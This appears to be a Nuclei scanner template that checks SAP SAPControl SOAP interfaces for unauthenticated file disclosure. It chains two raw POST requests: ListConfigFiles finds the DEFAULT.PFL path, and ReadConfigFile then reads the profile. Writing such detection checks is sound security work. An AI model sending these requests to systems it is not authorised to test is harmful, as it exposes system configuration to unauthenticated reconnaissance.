sap-readconfig-disclosure: SAPControl Read DEFAULT.PFL - Disclosure

id: sap-readconfig-disclosure

info:
  name: SAPControl Read DEFAULT.PFL - Disclosure
  author: LRVT,l4rm4nd
  severity: medium
  description: |
    Detected SAP systems where the SAP Start Service (sapstartsrv) SAPControl SOAP interface exposes the ReadConfigFile web method in combination with an unprotected ListConfigFiles call, allowing unauthenticated reading of the global DEFAULT.PFL profile.
  reference:
    - https://help.sap.com/docs/SAP_NETWEAVER_700/1098b2396c531014be229f0b7ff0e0c6/95840a509ece466ce10000000a423f68.html
    - https://learning.sap.com/courses/technical-implementation-and-operation-i-of-sap-s-4hana-and-sap-business-suite/configuring-sap-systems-via-profile-parameters
    - https://sapbasissolutions.wordpress.com/2013/10/08/what-are-sap-default-start-instance-profiles/
    - https://help.sap.com/docs/SUPPORT_CONTENT/si/3362958690.html
    - https://community.sap.com/t5/technology-blog-posts-by-members/securing-the-sap-instance-agent-sap-start-service/ba-p/13486679
  metadata:
    max-request: 1
  tags: sap,sapcontrol,soap,config,disclosure

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=UTF-8
        SOAPAction: '""'

        <?xml version="1.0" encoding="utf-8"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
          <SOAP-ENV:Header>
            <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
              <enableSession>true</enableSession>
            </sapsess:Session>
          </SOAP-ENV:Header>
          <SOAP-ENV:Body>
            <ns1:ListConfigFiles xmlns:ns1="urn:SAPControl"/>
          </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>

    matchers:
      - type: word
        part: body
        words:
          - "ListConfigFilesResponse"
          - "<configfiles>"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: default_pfl
        part: body
        group: 1
        regex:
          - '<item>([^<]*DEFAULT\.PFL[^<]*)</item>'
        internal: true

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=UTF-8
        SOAPAction: '""'

        <?xml version="1.0" encoding="utf-8"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
          <SOAP-ENV:Header>
            <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
              <enableSession>true</enableSession>
            </sapsess:Session>
          </SOAP-ENV:Header>
          <SOAP-ENV:Body>
            <ns1:ReadConfigFile xmlns:ns1="urn:SAPControl">
              <filename>{{default_pfl}}</filename>
            </ns1:ReadConfigFile>
          </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>

    matchers:
      - type: word
        part: body
        words:
          - "ReadConfigFileResponse"
          - "<lines>"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022014a2b5063751bc36a86999c76ffb4bce5039d9ddc124689d362d4117a3178d9102203bfd835363ece36e7f7f374be8eb075997257bc1a4d9fa7cdc47063f2ab34c7a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.